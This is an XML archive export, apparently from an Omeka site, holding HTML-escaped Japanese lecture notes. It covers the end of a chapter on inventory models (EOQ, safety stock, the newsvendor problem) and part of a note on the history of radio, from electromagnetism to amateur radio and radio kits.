&lt;div&gt;&lt;span&gt;        D --&amp;gt;|長期保管可能&amp;lt;br/&amp;gt;Durable Goods| G[EOQモデル&amp;lt;br/&amp;gt;Economic Order Quantity&amp;lt;br/&amp;gt;Q*=√2C_0R/C_1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt;|短期劣化・陳腐化&amp;lt;br/&amp;gt;Perishable Goods| H[新聞売り子モデル&amp;lt;br/&amp;gt;Newsvendor Model&amp;lt;br/&amp;gt;FQ*=1-c/a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "コスト構造による分類"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I[発注費用と保管費用&amp;lt;br/&amp;gt;Ordering &amp;amp; Holding Costs] --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J[売れ残りと機会損失&amp;lt;br/&amp;gt;Overstocking &amp;amp; Understocking] --&amp;gt; H&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パラメータ定義"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        K[CV 変動係数&amp;lt;br/&amp;gt;Coefficient of Variation&amp;lt;br/&amp;gt;CV=σ/μ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L[C_0 発注費用&amp;lt;br/&amp;gt;Ordering Cost]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        M[C_1 保管費用率&amp;lt;br/&amp;gt;Holding Cost Rate]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        N[c 仕入価格&amp;lt;br/&amp;gt;Purchase Price]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        O[a 販売価格&amp;lt;br/&amp;gt;Selling Price]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## まとめ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;本章では、在庫管理の基本的な方式と理論について学んだ。主な内容は以下の通りである：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 主要な概念&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**EOQモデル**&lt;/span&gt;&lt;span&gt;：最適発注量を決定する基本的なモデル&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公式：$&lt;/span&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 最適点では発注費用と保管費用が等しくなる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**リードタイムと安全在庫**&lt;/span&gt;&lt;span&gt;：実際の在庫管理では需要変動に対応するため安全在庫が必要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 発注点：$&lt;/span&gt;&lt;span&gt;ROP = d &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times L + SS$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 安全在庫：$&lt;/span&gt;&lt;span&gt;SS = z_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_L$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**新聞売り子問題**&lt;/span&gt;&lt;span&gt;：不確実な需要に対する最適発注量決定問題&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 最適条件：$&lt;/span&gt;&lt;span&gt;F(Q^*) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{c}{a}$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 期待効用最大化の具体例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 各方式の特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;| 方式 | 適用場面 | 主なパラメータ |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;|------|---------|---------------|&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| EOQモデル | 需要が安定 | $C_0$, $C_1$, $R$ |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 定期発注方式 | 発注時期を固定 | 発注間隔 $T$ |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 定量発注方式 | 発注量を固定 | 発注点 $ROP$ |&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;| 新聞売り子モデル | 需要が不確実 | $c$, $a$, 需要分布 |&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 関連トピック&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**最適化理論**&lt;/span&gt;&lt;span&gt;：在庫管理は制約付き最適化問題として定式化される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**確率論**&lt;/span&gt;&lt;span&gt;：不確実な需要のモデル化には確率分布（ポアソン分布など）が用いられる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**期待効用理論**&lt;/span&gt;&lt;span&gt;：新聞売り子問題は期待効用最大化の応用例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 今後&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理の理論を深めるためには、以下のトピックも重要である：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 多期間在庫モデル&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 動的在庫モデル&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; サプライチェーン管理&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 需要予測手法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理の理論を深めるためには、最適化理論、確率論、統計的推論などの数学的基礎が重要である。&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1926">
                <text>シミレーション工学7</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1927">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1928">
                <text>2025-11-15</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1929">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="125" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1922">
              <text>&lt;div&gt;
&lt;div&gt;&lt;span&gt;# ラジオの発明と普及：無線技術から大衆メディアへ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 1. ラジオ技術の科学的基礎&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 1.1 電磁気学とラジオ技術の関係&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ラジオの発明と普及は、電磁場・磁気の物理学的研究に基づいています。19世紀後半から20世紀初頭にかけて発展した電磁気学の理論的基盤の上に成立しました。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電磁場と磁気の理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **マイケル・ファラデー（1791-1867）**: 電磁誘導の法則を発見（1831年）。磁場の変化が電流を生み出す現象を実証し、電磁気学の基礎を確立。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ジェームズ・クラーク・マクスウェル（1831-1879）**: 電磁波の存在を理論的に予測（1864年）。光も電磁波の一種であることを示し、電磁波が空間を伝播することを数学的に証明。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **ハインリヒ・ヘルツ（1857-1894）**: 電磁波の存在を実験的に証明（1888年）。火花放電による送信機と金属輪による受信機を用いて、電磁波の発生・伝播・反射・屈折・干渉などの現象を観察。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電磁波の特性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 電磁波は電場と磁場が相互に作用しながら空間を伝播する波動現象&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 周波数（Hz）によって分類され、ラジオ放送では主に中波（AM: 535-1705 kHz）と超短波（FM: 88-108 MHz）が使用される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 電磁波は光速（約30万km/s）で伝播し、物理的な導線を必要としない&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 1.2 電信・電話からラジオへの技術的進化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ラジオより前に電信・電話は存在していましたが、これらは物理的な導線（電線）を必要とする有線通信技術でした。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 通信技術の進化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[有線通信] --&amp;gt;|物理的導線が必要| B[電信&lt;br /&gt;モールス信号]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt;|物理的導線が必要| C[電話&lt;br /&gt;音声信号]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D[無線通信] --&amp;gt;|電磁波で伝播| E[無線電信&lt;br /&gt;モールス信号]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt;|電磁波で伝播| F[ラジオ&lt;br /&gt;音声放送]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B -.-&amp;gt;|技術的進化| E&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C -.-&amp;gt;|技術的進化| F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 電信・電話の技術的限界&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 移動体（船舶、航空機など）との通信が困難&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 遠隔地への通信には大規模なインフラ整備が必要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 複数の受信者への同時配信（放送）が困難&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 無線通信の技術的優位性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 物理的な導線が不要で、電磁波による空間伝播を利用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 移動体との通信が可能（船舶、航空機、自動車など）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- インフラ整備のコストが相対的に低い&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 複数の受信者への同時配信（放送）が可能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 2. 軍事技術としての無線通信&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.1 海軍における電信・無線通信の重要性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;電信は**軍隊**、特に**海軍**で通信手段として使用されました。19世紀後半、海軍は艦隊間の連絡や陸上基地との通信手段として電信技術を積極的に採用しました。モールス信号による通信は、視覚的連絡（旗信号、灯火信号）の限界を超えた画期的な技術でした。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 無線技術の観点からは海軍の重要性を認識していた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 無線通信は、電信を補完する重要な技術として、海軍で特に重視されました&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 船舶は常に移動しているため、有線通信が不可能であり、無線通信が不可欠でした&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 海軍の戦略的・戦術的な通信手段として、無線技術の開発と実用化が進められました&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 無線通信の軍事的重要性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1895年、グリエルモ・マルコーニが無線電信を実用化すると、各国海軍は即座にその軍事価値を認識&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 1901年の大西洋横断無線通信成功後、海軍は無線通信を標準装備として採用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 第一次世界大戦（1914-1918）では、無線通信が戦略的・戦術的に極めて重要な役割を果たした&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.2 モールス信号の特徴と限界&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### モールス信号の特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **リアルタイム性**: 情報を即座に伝達可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **符号化の必要性**: 送信者と受信者が共通の符号体系（モールス符号）を理解している必要がある&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **情報量の制約**: 短点（・）と長点（－）の組み合わせによる符号化のため、伝達できる情報量が限定的&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### モールス信号では情報をリアルタイムで伝達できるが情報量が少ない&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 原爆投下時の通信例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1945年8月6日の広島への原爆投下時、モールス信号による通信では以下のような限定的な情報しか伝達されませんでした：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 「アメリカが新型爆弾を投下した」&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この情報のみでは、爆弾の具体的な威力、被害の規模、社会的影響の深刻さを正確に把握することが困難でした&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- これは、モールス信号の情報量の制約が、重大な意思決定に影響を与えた事例として知られています&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 2.3 退役軍人とアマチュア無線の関係&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ベテランの語源と意味&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 「ベテラン（veteran）」は、もともと「軍隊から退役した人」を指す言葉&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 退役軍人は、軍隊での経験を通じて専門的な知識と技術を習得していた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 特に通信技術、無線技術、電子工学に関する実践的知識を持っていた&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- ベテランとはもともと軍隊退役した人をいう。→知識経験が豊富&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### アマチュア無線家としての退役軍人&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 第一次世界大戦後、多くの退役軍人がアマチュア無線家として活動を開始&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 軍隊から退役した後、アマチュアとして退役軍人が中心になってラジオを自作するようになりました&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 軍隊で習得した無線技術を、趣味や研究目的で応用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- アマチュア無線は、双方向通信（送信と受信の両方が可能）を特徴とする&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- この時のアマチュアのラジオは双方向型で離れた場所でやり取りできる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 離れた場所での会話ができた&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### アマチュア無線の技術的特徴&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **双方向型通信**: 送信機と受信機の両方を持つことで、相互に通信が可能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **コミュニティ形成**: 同じ周波数帯で通信する無線家たちが、コミュニティを形成&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **技術的革新**: アマチュア無線家による技術的改良や実験が、ラジオ技術の発展に大きく貢献&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**アマチュア無線とラジオ放送の違い**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph AM["アマチュア無線（双方向通信）"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A1[無線家A] &amp;lt;--&amp;gt;|送受信| A2[無線家B]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A1 &amp;lt;--&amp;gt;|送受信| A3[無線家C]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A2 &amp;lt;--&amp;gt;|送受信| A3&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph BC["ラジオ放送（一方向通信）"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B1[放送局] --&amp;gt;|送信のみ| B2[リスナー1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B1 --&amp;gt;|送信のみ| B3[リスナー2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B1 --&amp;gt;|送信のみ| B4[リスナー3&lt;br /&gt;...多数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 3. ラジオの商品化と大衆化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 3.1 組み立て式ラジオキットの登場&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### アマチュアが作成したラジオの構成&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **受信機**: 電磁波を受信し、音声信号に変換する装置&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **発信機**: 音声信号を電磁波に変換し、送信する装置&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 初期のラジオは、これらの部品を個別に調達し、自分で組み立てる必要があった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ラジオの普及過程&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;flowchart TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[アマチュア無線家&lt;br /&gt;退役軍人等] --&amp;gt; B[ラジオの自作&lt;br /&gt;部品を個別調達]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[組み立て式キット&lt;br /&gt;部品セット化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[玩具としてのラジオ&lt;br /&gt;簡易構造]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E[教育用キット&lt;br /&gt;STEM教育の先駆け]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; F[完成品のラジオ&lt;br /&gt;購入後すぐ使用可能]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; G[一般家庭への普及]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; H[大衆消費社会の形成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; I[文化的共通体験]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; J[国民意識の形成]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 組み立て式キットの商品化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 1920年代、ラジオ部品メーカーが、受信機と発信機の部品をセットにした「組み立て式キット」を商品化&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- アマチュアが作成したラジオとは受信機と発信機→組み立て式のキットが商品化される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- これにより、専門的な知識がなくても、説明書に従ってラジオを組み立てることが可能になった&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- キットの価格は、完成品のラジオよりも安価で、一般家庭でも購入可能な価格帯に設定された&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- これにより一般の人々に認知されるようになりました&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 3.2 玩具としてのラジオと教育用キット&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 作るのが簡単なものと難しいものがある&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- **玩具としてのラジオ**: 簡易的な構造で、子供でも組み立てられる程度の難易度&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **組み立て式キット**: より複雑な構造で、ある程度の技術的知識と作業能力が必要&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- **完成品のラジオ**: 組み立て不要で、購入後すぐに使用可能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 玩具→組み立て機キットの場合専門的ではなくおもちゃのようなもの&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;- 玩具としてのラジオは、専門的な知識を必要としない、おもちゃのような簡易的な構造&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 教育目的で、子供に科学や技術への興味を持たせるためのツールとして機能&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;- 昆虫採集キットが駄菓子屋にあったように、ラジオキットも一般の小売店で入手可能になった&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
